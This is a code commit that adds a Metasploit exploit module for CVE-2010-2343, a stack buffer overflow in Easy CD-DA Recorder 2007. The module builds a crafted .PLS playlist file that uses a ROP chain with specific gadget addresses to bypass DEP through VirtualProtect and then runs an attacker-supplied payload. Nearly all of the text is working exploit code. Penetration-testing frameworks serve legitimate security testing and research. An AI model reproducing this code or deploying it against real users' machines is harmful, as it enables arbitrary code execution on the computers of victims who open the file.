Land rapid7#2970, @sgabe exploit for CVE-2010-2343

Author: jvazquez-r7

modules/exploits/windows/fileformat/easycdda_pls_bof.rb

@@ -0,0 +1,121 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = NormalRanking
+
+  include Msf::Exploit::FILEFORMAT
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Easy CD-DA Recorder PLS Buffer Overflow',
+      'Description'    => %q{
+          This module exploits a stack-based buffer overflow vulnerability in
+        Easy CD-DA Recorder 2007, caused by a long string in a playlist entry.
+        By persuading the victim to open a specially-crafted .PLS file, a
+        remote attacker could execute arbitrary code on the system or cause
+        the application to crash. This module has been tested successfully on
+        Windows XP SP3 and Windows 7 SP1.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'chap0',        # Vulnerability discovery and original exploit
+          'Gabor Seljan', # Metasploit module
+          'juan vazquez'  # Improved reliability
+        ],
+      'References'     =>
+        [
+          [ 'BID', '40631' ],
+          [ 'EDB', '13761' ],
+          [ 'OSVDB', '65256' ],
+          [ 'CVE', '2010-2343' ],
+          [ 'URL', 'http://www.corelan.be:8800/advisories.php?id=CORELAN-10-048' ]
+        ],
+      'DefaultOptions' =>
+        {
+          'ExitFunction' => 'process'
+        },
+      'Platform'       => 'win',
+      'Payload'        =>
+        {
+          'DisableNops'    => true,
+          'BadChars'       => "\x0a\x3d",
+          'Space'          => 2454,
+          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"  # ADD ESP,-3500
+        },
+      'Targets'        =>
+        [
+          [ 'Windows XP SP3 / Windows 7 SP1 (DEP Bypass)',
+            # easycdda.exe 3.0.114.0
+            # audconv.dll 7.0.815.0
+            {
+              'Offset' => 1108,
+              'Ret'    => 0x1001b19b  # ADD ESP,0C10 # RETN 0x04 [audconv.dll]
+            }
+          ]
+        ],
+      'Privileged'     => false,
+      'DisclosureDate' => 'Jun 7 2010',
+      'DefaultTarget'  => 0))
+
+      register_options(
+        [
+          OptString.new('FILENAME', [ false, 'The file name.', 'msf.pls'])
+        ],
+      self.class)
+
+  end
+
+  def nops
+    return make_nops(4).unpack("V").first
+  end
+
+  def rop_nops(n = 1)
+    # RETN (ROP NOP) [audconv.dll]
+    [0x1003d55d].pack('V') * n
+  end
+
+  def exploit
+
+    # ROP chain generated by mona.py - See corelan.be
+    rop_gadgets =
+    [
+      0x1007261e,  # POP EDX # RETN [audconv.dll]
+      0x0042a0e0,  # &VirtualProtect() [IAT easycdda.exe]
+      0x1003bd6b,  # MOV EAX,DWORD PTR DS:[EDX] # RETN [audconv.dll]
+      0x10035802,  # XCHG EAX,ESI # RETN [audconv.dll]
+      0x1005d288,  # POP EBP # RETN [audconv.dll]
+      0x004030c8,  # &PUSH ESP # RET 0x08 [easycdda.exe]
+      0x1005cc2d,  # POP EBX # RETN [audconv.dll]
+      0x00000996,  # 0x00000996-> EBX
+      0x1008740c,  # POP EDX # RETN [audconv.dll]
+      0x00000040,  # 0x00000040-> EDX
+      0x1001826d,  # POP ECX # RETN [audconv.dll]
+      0x004364c6,  # &Writable location [easycdda.exe]
+      0x00404aa9,  # POP EDI # RETN [easycdda.exe]
+      0x100378e6,  # RETN (ROP NOP) [audconv.dll]
+      0x0042527d,  # POP EAX # RETN [easycdda.exe]
+      nops,
+      0x00429692   # PUSHAD # INC EBX # ADD CL,CH # RETN [easycdda.exe]
+    ].flatten.pack('V*')
+
+    sploit =  rop_nops(target['Offset'] / 4)
+    sploit << [0x1003d55c].pack("V") # pop edi # ret [audconv.dll]
+    sploit << [target.ret].pack("V")
+    sploit << rop_nops(22)
+    sploit << rop_gadgets
+    sploit << payload.encoded
+    sploit << rand_text_alpha_upper(10000) # Generate exception
+
+    # Create the file
+    print_status("Creating '#{datastore['FILENAME']}' file ...")
+    file_create(sploit)
+
+  end
+end
+